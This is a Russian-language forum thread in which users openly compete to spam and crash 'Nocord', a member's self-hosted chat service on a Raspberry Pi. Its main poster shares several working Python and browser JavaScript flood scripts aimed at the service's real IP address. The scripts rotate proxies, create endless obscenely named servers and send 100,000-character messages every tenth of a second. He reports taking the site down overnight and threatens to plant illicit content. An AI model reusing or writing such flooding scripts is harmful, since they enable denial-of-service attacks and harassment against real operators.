LINUXTALKS.CO

Nocord - главный тред

 

L


0

1

В этом итт тхреде мы будем пользоваться сервисом nocord созданным участником нашего форума. По мере использования, делимся скриптами и прочими решениями.

Также я объявляю следующие направления специальной олимпиады:

  1. Спам сервиса сообщениями
  2. Доведение сервиса до ошибки 503
  3. tbd

Как первый участник я покажу свой (chatgpt) код:

import requests
import random
import time
from concurrent.futures import ThreadPoolExecutor

# Функция для чтения прокси из файла
def read_proxies(proxy_file):
    with open(proxy_file, 'r') as file:
        proxies = [line.strip() for line in file.readlines()]
    return proxies

# Функция для отправки формы
def submit_form(name, password, proxy):
    url = "http://91.192.22.20/create.php"

    # Формируем данные для отправки
    data = {
        'name': name,
        'password': password,
        'password2': password,
        'public_submit': 'Создать публичный сервер',
    }

    # Настроим прокси
    proxies = {
        "http": proxy,
        "https": proxy,
    }

    try:
        # Отправляем POST запрос
        response = requests.post(url, data=data, proxies=proxies, timeout=10)
        
        # Проверяем статус код ответа
        if response.status_code == 200:
            print(f"[INFO] Успешно отправлена форма для сервера: {name}")
        else:
            print(f"[ERROR] Ошибка при отправке формы для {name}. Статус код: {response.status_code}")
    except requests.RequestException as e:
        print(f"[ERROR] Ошибка при отправке формы для {name}. Ошибка: {e}")

# Основной цикл
def main():
    proxies = read_proxies('proxy.txt')  # Читаем список прокси из файла
    base_name = "пррррр посрал в парашу пррррр"
    password = "12345"
    iteration = 1

    # Создаем пул потоков с 10 рабочими потоками
    with ThreadPoolExecutor(max_workers=10) as executor:
        while True:
            # Генерируем уникальное имя сервера
            name = f"{base_name}{iteration}"
            
            # Выбираем случайный прокси из списка
            proxy = random.choice(proxies)
            
            # Выводим информацию о текущем шаге
            print(f"[INFO] Попытка отправить форму для {name} с прокси {proxy}")
            
            # Отправляем форму в отдельном потоке
            executor.submit(submit_form, name, password, proxy)
            
            # Инкрементируем итерацию
            iteration += 1

            # Увековечиваем шаг (например, задержка 1 секунда, чтобы не создавать слишком много задач одновременно)
            time.sleep(0.1)

if __name__ == '__main__':
    main()

Перемещено cocucka из tox

Ответ на: комментарий от crypt

Первый раз он не справился, я удалил чат и описал задачу поновой и более подробно, что я хочу, он сделал. Это он за раз выдал получается, я только тайминг поменял с 1 на 0.1

shikata_ga_nai    
★★★★★
Linux / Chrome (MD)
Ответ на: комментарий от shikata_ga_nai

а в интернет он сам ходил посмотреть, что за страница, или ты описывал?


а кроме того, сосискин - мамкин пирожок и вахтер

crypt    
★★★☆☆
Последнее исправление: crypt (всего исправлений: 1)

FreeBSD / Chrome (RU)
Ответ на: комментарий от Anoxemian

я пока чуть ему отдохнуть дал. Заметил, что сайты с проксями не хотят давать нормальный текстовый список, пришлось накалякать парсей, чтобы проксей было прям ОЧЕНЬ много, плюс еще один скрипт, который мне их проверит на качественное соединение с этим школосервером и т.д.

shikata_ga_nai    
★★★★★
Linux / Chrome (MD)

@MrSugoma чини давай, я сделал прям лайтово, а там все равно error 500

Ну и да, делюсь новым кодом:

import requests
import threading
import curses
import time

def send_request(proxy, stdscr, proxy_stats, thread_id):
    url = "http://91.192.22.20/create.php"
    headers = {'User-Agent': 'Mozilla/5.0'}
    session = requests.Session()
    session.proxies = {'http': proxy, 'https': proxy}
    increment = 1
    while True:
        server_name = f"бульк среньк админу чмоне пописял в рот да насрал в парашу_{thread_id}_{increment}"
        data = {'name': server_name, 'password': '1488', 'password2': '1488', 'public_submit': 'Создать публичный сервер'}
        try:
            response = session.post(url, data=data, headers=headers, timeout=3)
            if response.status_code == 200:
                proxy_stats[proxy]['success'] += 1
            else:
                proxy_stats[proxy]['errors'] += 1
        except requests.RequestException:
            proxy_stats[proxy]['errors'] += 1
        increment += 1
        update_screen(stdscr, proxy_stats)
        time.sleep(2)

def update_screen(stdscr, proxy_stats):
    stdscr.clear()
    stdscr.addstr(0, 0, "Многопоточная отправка формы с прокси:")
    sorted_proxies = sorted(proxy_stats.items(), key=lambda x: (x[1]['success'] / (x[1]['errors'] + 1e-6)), reverse=True)
    row = 1
    for proxy, stats in sorted_proxies:
        success, errors = stats['success'], stats['errors']
        stdscr.addstr(row, 0, f"Прокси: {proxy} | Успешно: {success} | Ошибки: {errors}")
        row += 1
    stdscr.refresh()

def main(stdscr):
    with open('proxy.txt', 'r') as f:
        proxies = [line.strip() for line in f.readlines()]
    proxy_stats = {proxy: {'success': 0, 'errors': 0} for proxy in proxies}
    threads = []
    for thread_id, proxy in enumerate(proxies, 1):
        thread = threading.Thread(target=send_request, args=(proxy, stdscr, proxy_stats, thread_id))
        threads.append(thread)
        thread.start()
    for thread in threads:
        thread.join()

if __name__ == '__main__':
    curses.wrapper(main)

прокси складывать в proxy.txt в формате IP:PORT

shikata_ga_nai    
★★★★★
Linux / Chrome (MD)
Ответ на: комментарий от shikata_ga_nai

В общем у педалика сервер настолько всрат, что многопоточность только все портит. Переделал скрипт снова, теперь юзаем прокси по одной, как начнутся ошибки - переходим на следующую, таким образом он не сразу все спалит и сообщения публикуются чаще (хотя нагрузка на его малинку уменьшается)

import requests
import time
import curses
from requests.exceptions import RequestException

def load_proxies(filename="proxy.txt"):
    with open(filename, "r") as file:
        return [line.strip() for line in file.readlines()]

def send_post_request(proxy, url, data):
    proxy_dict = {"http": f"http://{proxy}", "https": f"https://{proxy}"}
    try:
        response = requests.post(url, data=data, proxies=proxy_dict, timeout=1)
        if response.status_code == 200:
            return True, response.elapsed.total_seconds() * 1000
        return False, None
    except RequestException:
        return False, None

def main(stdscr):
    curses.curs_set(0)
    stdscr.nodelay(1)
    stdscr.timeout(1000)

    proxies = load_proxies("proxy.txt")
    url = "http://91.192.22.20/create.php"
    base_data = {"password": "45100", "password2": "45100", "public_submit": "true"}

    total_success = total_fails = 0
    current_proxy_idx = 0
    proxy_fail_count = proxy_success_count = counter = 0

    while True:
        name = f"ПОПИСЯЛ В РОТ МИСТЕРУ СУГОМИКУ И ПОСРАЛ В ЕГО ПАРАШУ БУЛЬК СРЕНЬК{counter}"
        data = {**base_data, "name": name}

        success, latency = send_post_request(proxies[current_proxy_idx], url, data)
        counter += 1

        if success:
            proxy_success_count += 1
            total_success += 1
            latency = round(latency, 2) if latency else 'N/A'
        else:
            proxy_fail_count += 1
            total_fails += 1

        stdscr.clear()
        stdscr.addstr(0, 0, f"CURRENT PROXY: {current_proxy_idx + 1}/{len(proxies)} | TOTAL SUCCESS: {total_success} | TOTAL FAILS: {total_fails}")
        stdscr.addstr(2, 0, f"PROXY {proxies[current_proxy_idx]} | SUCCESS: {proxy_success_count} | FAILS: {proxy_fail_count} | LATENCY: {latency} ms")

        if proxy_fail_count >= 10:
            proxy_fail_count = proxy_success_count = 0
            current_proxy_idx += 1
            if current_proxy_idx >= len(proxies):
                break

        stdscr.refresh()
        time.sleep(0.5)

if __name__ == "__main__":
    curses.wrapper(main)

Ну и методом тыка выяснил, что оптимальный вариант задержки примерно 0.5 секунды, если чаще то будут пропуски, медленее нет смысла. Ждем когда мистер сугомик заблокирует русские айпи и откроет доступ только в свою комнату (как в принципе и должно быть с локальным сервером на малинке).

upd2: мне вот идея пришла, что если найти ascii арт члена и спамить рисунок построчно?))))

shikata_ga_nai    
★★★★★
Последнее исправление: shikata_ga_nai (всего исправлений: 2)

Linux / Chrome (MD)
Ответ на: комментарий от shikata_ga_nai

Еще один прикол кстати, внутри «треда» можно спамить довольно большими сообщениями, там страница начинает мегабайты весить за секунды (бедная малинка и еще более бедная та sd карточка)

js код для консоли браузера:

function generateRandomText(length) {
    const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
    let result = '';
    for (let i = 0; i < length; i++) {
        const randomIndex = Math.floor(Math.random() * characters.length);
        result += characters[randomIndex];
    }
    return result;
}

function sendRandomMessage() {
    // Генерируем случайный текст длиной 100000 символов
    anonymousSendMessage.value = generateRandomText(100000);
    
    // Имитация отправки формы
    var event = new Event('submit');
    anonymousSendForm.dispatchEvent(event);
}

// Бесконечно отправляем случайный текст каждые 0.1 секунды (100 миллисекунд)
setInterval(sendRandomMessage, 100);

Пока писал это сообщение, там уже 503 без шансов, даже не поднимается.

shikata_ga_nai    
★★★★★
Последнее исправление: shikata_ga_nai (всего исправлений: 1)

Linux / Chrome (MD)
Ответ на: комментарий от shikata_ga_nai

Еще питонячий вариант, через браузер не так удобно, он после сотни виснуть начинает

import requests
import random
import string
import time

# Функция для генерации случайного текста
def generate_random_text(length):
    characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
    result = ''.join(random.choice(characters) for _ in range(length))
    return result

# Функция для отправки случайного сообщения
def send_random_message(proxy_list):
    url = 'http://91.192.22.20/servers/1/anonymous_send.php'
    random_text = generate_random_text(100000)
    
    # Параметры, как в JS-скрипте: передаем "message"
    data = {'message': random_text}
    
    # Пробуем использовать каждый прокси из списка
    for proxy in proxy_list:
        proxies = {"http": f"http://{proxy}", "https": f"http://{proxy}"}
        try:
            # Отправляем данные с типом контента 'application/x-www-form-urlencoded'
            headers = {'Content-Type': 'application/x-www-form-urlencoded'}
            response = requests.post(url, data=data, proxies=proxies, headers=headers, timeout=5)
            
            # Проверка успешного ответа
            if response.status_code == 200:
                print(f"Сообщение отправлено через прокси: {proxy}")
                break
        except requests.RequestException as e:
            print(f"Ошибка с прокси {proxy}: {e}")
            continue
    else:
        print("Не удалось отправить сообщение с использованием доступных прокси.")

# Чтение прокси из файла
def load_proxies(file_path):
    with open(file_path, 'r') as f:
        return [line.strip() for line in f.readlines()]

# Основная функция
def main():
    proxies = load_proxies('proxy.txt')
    while True:
        send_random_message(proxies)
        time.sleep(0.1)  # 100 мс между отправками

if __name__ == "__main__":
    main()
shikata_ga_nai    
★★★★★
Linux / Chrome (MD)
Ответ на: комментарий от shikata_ga_nai

и еще более бедная та sd карточка

Она особенно бедная, учитывая особенную структуру хранения данных в Nocord.

.
|-- access.log
|-- create.php
|-- create_private.php
|-- create_public.php
|-- css
|   `-- index.css
|-- error.log
|-- index.php
|-- messages.html
|-- private_servers
|   `-- b3f72695a0
|       |-- ANONYMOUS
|       |-- anonymous_send.php
|       |-- delete_message.php
|       |-- delete_server.php
|       |-- enable_or_disable_anonymous.php
|       |-- index.html
|       |-- messages
|       |   |-- 1.php
|       |   |-- 10.php
|       |   |-- 11.php
|       |   |-- 12.php
|       |   |-- 2.php
|       |   |-- 3.php
|       |   |-- 4.php
|       |   |-- 5.php
|       |   |-- 6.php
|       |   |-- 7.php
|       |   |-- 8.php
|       |   `-- 9.php
|       |-- name.txt
|       |-- number_of_max_message.txt
|       |-- password.txt
|       |-- send.php
|       `-- show.php
|-- register.php
|-- resources
|   |-- base_anonymous_send.php
|   |-- base_delete_message.php
|   |-- base_delete_server.php
|   |-- base_enable_or_disable_anonymous.php
|   |-- base_send.php
|   `-- base_show.php
|-- send_message.php
|-- servers
|   |-- 1
|   |   |-- ANONYMOUS
|   |   |-- anonymous_send.php
|   |   |-- delete_message.php
|   |   |-- delete_server.php
|   |   |-- enable_or_disable_anonymous.php
|   |   |-- index.html
|   |   |-- messages
|   |   |   |-- 3114.php
|   |   |   |-- 3115.php
|   |   |   |-- 3116.php
|   |   |   |-- 3117.php
|   |   |   |-- 3118.php
|   |   |   |-- 3119.php
|   |   |   |-- 3120.php
|   |   |   |-- 3121.php
|   |   |   |-- 3122.php
|   |   |   |-- 3123.php
|   |   |   |-- 3124.php
|   |   |   |-- 3125.php
|   |   |   |-- 3126.php
|   |   |   |-- 3127.php
|   |   |   |-- 3128.php
|   |   |   |-- 3129.php
|   |   |   |-- 3130.php
|   |   |   |-- 3131.php
|   |   |   |-- 3132.php
|   |   |   |-- 3133.php
|   |   |   |-- 3134.php
|   |   |   |-- 3135.php
|   |   |   |-- 3136.php
|   |   |   |-- 3137.php
|   |   |   |-- 3138.php
|   |   |   |-- 3139.php
|   |   |   |-- 3140.php
|   |   |   |-- 3141.php
|   |   |   |-- 3142.php
|   |   |   |-- 3143.php
|   |   |   |-- 3144.php
|   |   |   |-- 3145.php
|   |   |   `-- 3146.php
|   |   |-- name.txt
|   |   |-- number_of_max_message.txt
|   |   |-- password.txt
|   |   |-- send.php
|   |   `-- show.php
|   `-- \320\273\320\277\321\210\320\273
|       |-- ANONYMOUS
|       |-- anonymous_send.php
|       |-- delete_message.php
|       |-- delete_server.php
|       |-- enable_or_disable_anonymous.php
|       |-- index.html
|       |-- messages
|       |-- name.txt
|       |-- number_of_max_message.txt
|       |-- password.txt
|       |-- send.php
|       `-- show.php
|-- show_messages.php
`-- users
    |-- 1
    |   |-- messages.html
    |   `-- password.txt
    |-- 12345
    |   |-- messages.html
    |   `-- password.txt
    |-- 222
    |   |-- messages.html
    |   `-- password.txt
    |-- MrSugoma
    |   |-- messages.html
    |   `-- password.txt
    |-- PRIME
    |   |-- messages.html
    |   `-- password.txt
    |-- Weever
    |   |-- messages.html
    |   `-- password.txt
    |-- chunbyonga
    |   |-- messages.html
    |   `-- password.txt
    |-- testtesttest
    |   |-- messages.html
    |   `-- password.txt
    `-- yapidr
        |-- messages.html
        `-- password.txt

21 directories, 113 files
MrSugoma    
★★
Windows / Firefox (BE)
Ответ на: комментарий от MrSugoma

Кстати, я там на ночь оставил скрипт который мегабайт данных в секунду тебе записывал, потом спать пошел, а сейчас ты почистил. Так там по итогу сколько забито было хоть расскажи?

shikata_ga_nai    
★★★★★
Linux / Chrome (MD)
Ответ на: комментарий от crypt

ты что, файлы из пхп создаешь?

Да, но ввод санитайжу (прогоняю через htmlspecialchars()). Раньше была PHP-инъекция из-за такого, теперь ее нет.

MrSugoma    
★★
Последнее исправление: MrSugoma (всего исправлений: 1)

Windows / Firefox (BE)
Ответ на: комментарий от MrSugoma

это все равно дебилизм. есть же база. мне кажется, тебе прежде, чем приходить на форум, где люди уже по 15-20 лет занимаются айти-технологиями, и пиарить свой скрипт школьную поделку не мешало бы почитать пару книжек про создание сайтов.


а кроме того, сосискин - мамкин пирожок и вахтер

crypt    
★★★☆☆
Последнее исправление: crypt (всего исправлений: 2)

FreeBSD / Chrome (GB)
Ответ на: комментарий от MrSugoma

Слушай, ну ты конечно молодец, что забанил всю планету по ip и осатвил только две страны, но!

  • Ты максимально сократил потенциальную аудиторию (в РФ много людей пользуются VPN)
  • Это не защищает никак от использования прокси, которых в интернете валом.

И даже если ты считаешь, что будешь чистить каждый день и следить внимательно, это никак не спасет.

  • Тебя можно ддосить по ночам, когда ты спишь
  • У тебя все равно будет насиловаться железка (rpi или что там у тебя)

Почему ты так упорно считаешь, что ты прав? Даже если все пункты выше тебе не важны, никто не будет общаться на платформе, где каждую ночь вайп и каждое утро очистка БД под ноль.

Я уже молчу о том, что ты дизайн сделал максимально отвратительный и функционал нулевой. Современные сервисы защищают себя не то, что капчей, делают привязку к номеру телефона, чтобы им не регистрировали бесконечно учетки и т.д. Да и кто в здравом уме будет держать сервер на малине у себя дома? Ну ты просто везде где можно проебался. Как ты это не понимаешь?

shikata_ga_nai    
★★★★★
Linux / Chrome (MD)
Ответ на: комментарий от shikata_ga_nai

Почему ты так упорно считаешь, что ты прав?

забей, возрастные особенности. называется подростковый максимализм. где-то в районе 7го-9го класса он проявляется, потом само проходит.


а кроме того, сосискин - мамкин пирожок и вахтер

crypt    
★★★☆☆
Последнее исправление: crypt (всего исправлений: 1)

FreeBSD / Chrome (GB)
Ответ на: комментарий от MrSugoma

Ты понимаешь, что на твой нокорд захожу только я (скрипт на питоне) и может быть еще 1-2 человека из этого форума, чтобы посмотреть, сколько писек я нарисовал? И уже этой нагрузки достаточно, чтобы у тебя там 503 регулярное было.

shikata_ga_nai    
★★★★★
Linux / Chrome (MD)
Ответ на: комментарий от shikata_ga_nai

осатвил только две страны

Это две нормальные страны.

Ты максимально сократил потенциальную аудиторию

У Госуслуг огромная аудитория, но туда можно зайти только с российского IP.

Это не защищает никак от использования прокси, которых в интернете валом.

К сожалению, да.

И даже если ты считаешь, что будешь чистить каждый день и следить внимательно, это никак не спасет. Тебя можно ддосить по ночам, когда ты спишь. У тебя все равно будет насиловаться железка (rpi или что там у тебя)

К сожалению, да.

дизайн сделал максимально отвратительный

Дизайн не нужен.

функционал нулевой

Чего там тебе не хватает?

делают привязку к номеру телефона

Это очень плохо, я такого никогда не сделаю.

Да и кто в здравом уме будет держать сервер на малине у себя дома?

Все нормальные люди хостят всё у себя дома.

Ну ты просто везде где можно проебался.

Не везде.

MrSugoma    
★★
Windows / Firefox (BE)
Ответ на: комментарий от MrSugoma

Я тебе даже больше скажу: все эти рисования писек это просто детский сад, ведь я могу просто слать тебе миллиард запросов на апач и твоя малинка помрет, а ты даже детектировать это все и фильтровать не умеешь. Изучай как ntables работает, я не знаю

shikata_ga_nai    
★★★★★
Linux / Chrome (MD)
Ответ на: комментарий от shikata_ga_nai

И уже этой нагрузки достаточно, чтобы у тебя там 503 регулярное было.

Это из-за скрипта. А вообще, я 503 своими глазами ни разу не видел. Короче, дай денег на домен, в населенный пункт Новораково в городском округе Истра Московской области Российской Федерации пришли денег на дроне, чем больше, тем лучше.

MrSugoma    
★★
Windows / Firefox (BE)
Ответ на: комментарий от MrSugoma

Слать plain-text это не функционал. Там нельзя даже картинку скинуть, о чем речь? Я уже молчу о функционале который предоставляет тот же telegram / discord.

Все нормальные люди хостят всё у себя дома.

Нет, ибо:

  • Ты светишь жопой без штанов в интернет
  • Для таких задач придуманы выделенные сервера, которые обеспечивают высокий ресурс по цпу и т.д., аптайм в 99.9%…

Хостить дома ты можешь что-то вроде облака, чтобы со своего телефона туда заходить за фотками или фильмы телевизором смотреть скачанные на сервер, хз, но явно не такое.

shikata_ga_nai    
★★★★★
Linux / Chrome (MD)
Ответ на: комментарий от shikata_ga_nai

ведь я могу просто слать тебе миллиард запросов на апач и твоя малинка помрет

У меня интернет-канал забьется гораздо раньше, чем малинка начнет подыхать.

MrSugoma    
★★
Windows / Firefox (BE)
Ответ на: комментарий от MrSugoma

https://www.reg.ru/ (домен .ru стоит 119 рублей, это вроде буквально 1 доллар), php хостинг можно вообще бесплатно найти (и как правило хостинги бесплатно могут дать домен, просто он будет 3-его уровня) cloudflare тоже бесплатная, но я уже понял, что ты не хочешь ее использовать.

А еще, если я ночью залью тебе всякого контента и напишу в РКН у тебя будут проблемы.

shikata_ga_nai    
★★★★★
Linux / Chrome (MD)
Ответ на: комментарий от shikata_ga_nai

А еще, если я ночью залью тебе всякого контента и напишу в РКН у тебя будут проблемы.

Ни в коем случае! Ни в коем случае не сдерживай себя!

Oberstserj    
★★★★★★
Ubuntu / Firefox (NL)
Ответ на: комментарий от shikata_ga_nai

Там нельзя даже картинку скинуть, о чем речь?

На ЛОРе тоже нельзя картинку скинуть.

Я уже молчу о функционале который предоставляет тот же telegram / discord.

Никакого существенного функционала, который есть в Nocord, Discord не предоставляет.

Ты светишь жопой без штанов в интернет

При правильно настроенном фаерволле это не проблема.

Для таких задач придуманы выделенные сервера, которые обеспечивают высокий ресурс по цпу и т.д., аптайм в 99.9%…

Чем малинка для такого не годится?

но явно не такое

Малинка нормально выдерживает Nocord.

MrSugoma    
★★
Windows / Firefox (BE)
Ответ на: комментарий от shikata_ga_nai

Слушай, вот ладно я живу в жопе мира, у нас тут экономический кризис, сидим без отопления, без горячей воды, регулярно отключают электричество (а следовательно и воду и интернет и т.д.), жопа полная, все стоит, работы нет и т.д. Ты живешь в Москве, где все тип-топ и у тебя реально нет доллара, чтобы оплатить домен на ЦЕЛЫЙ ГОД?

shikata_ga_nai    
★★★★★
Linux / Chrome (MD)
Ответ на: комментарий от MrSugoma

У меня интернет-канал забьется гораздо раньше, чем малинка начнет подыхать.

Ты понимаешь, что твой говносервис не выдержит разового набега ЛТшников, не то что спланированной атаки? Тебе самому не смешно?

Oberstserj    
★★★★★★
Ubuntu / Firefox (NL)
Ответ на: комментарий от shikata_ga_nai

https://www.reg.ru/ (домен .ru стоит 119 рублей, это вроде буквально 1 доллар)

Там еще дополнительно платить надо, чтобы в whois не показывались твои личные данные.

php хостинг можно вообще бесплатно найти

Зачем? Там еще контроля ноль. Малинка и так справляется с хостингом Nocord’а.

cloudflare тоже бесплатная, но я уже понял, что ты не хочешь ее использовать

Захотелось всё же ее использовать.

А еще, если я ночью залью тебе всякого контента и напишу в РКН у тебя будут проблемы.

Молдованина никто слушать не будет.

MrSugoma    
★★
Windows / Firefox (BE)
Ответ на: комментарий от MrSugoma

На ЛОРе можно скинуть картинку (галерея / новости). То, что там нельзя скидывать картинку как сообщение это следствие ретроградной культуры борды, где сидят бородатые деды и ностальгируют по временам, когда интернет был dial-up у одного человека на пол города.

Малинка не годится в силу того, что она придумана для других целей. У бедолаги единственный накопитель это microsd карта, которая просто умрет за пару дней у тебя, так оно еще и подключено через usb шину. Эти карты памяти придуманы, чтобы в фотоаппарате работать, пофоткал - скинул на комп. Люди которые пользуются одноплатниками по максимуму стараются уменьшить i/o, выкидывая все что можно в tmpfs и многие даже всю систему в ro ставят.

Она у тебя хоть с кулером?

shikata_ga_nai    
★★★★★
Linux / Chrome (MD)
Ответ на: комментарий от shikata_ga_nai

Слушай, вот ладно я живу в жопе мира, у нас тут экономический кризис, сидим без отопления, без горячей воды, регулярно отключают электричество (а следовательно и воду и интернет и т.д.), жопа полная, все стоит, работы нет и т.д.

А, понял, ты в Приднестровье живешь.

у тебя реально нет доллара, чтобы оплатить домен на ЦЕЛЫЙ ГОД?

Я сомневаюсь, что мне его дадут. Тем более, надо дополнительно платить за скрытие личной информации о себе. Еще nocord.ru занят, а nocord.su свободен, но домены .su стоят дороже.

MrSugoma    
★★
Windows / Firefox (BE)
Ответ на: комментарий от MrSugoma

Малинка и так справляется с хостингом Nocord’а.

Это пока пользуешься им только ты и твои альтернативные личности, Билли.

Oberstserj    
★★★★★★
Последнее исправление: Oberstserj (всего исправлений: 1)

Ubuntu / Firefox (NL)
Ответ на: комментарий от Oberstserj

Летом жара ебаная, без кондиционера вешаться можно. Последние лет 20 зимой снега почти нет. Лично я греюсь дуйчиком самым дешевым, вентилятор со спиралью на 2квт, мне хватает. На улице плюсовая, терпимо крч.

shikata_ga_nai    
★★★★★
Linux / Chrome (MD)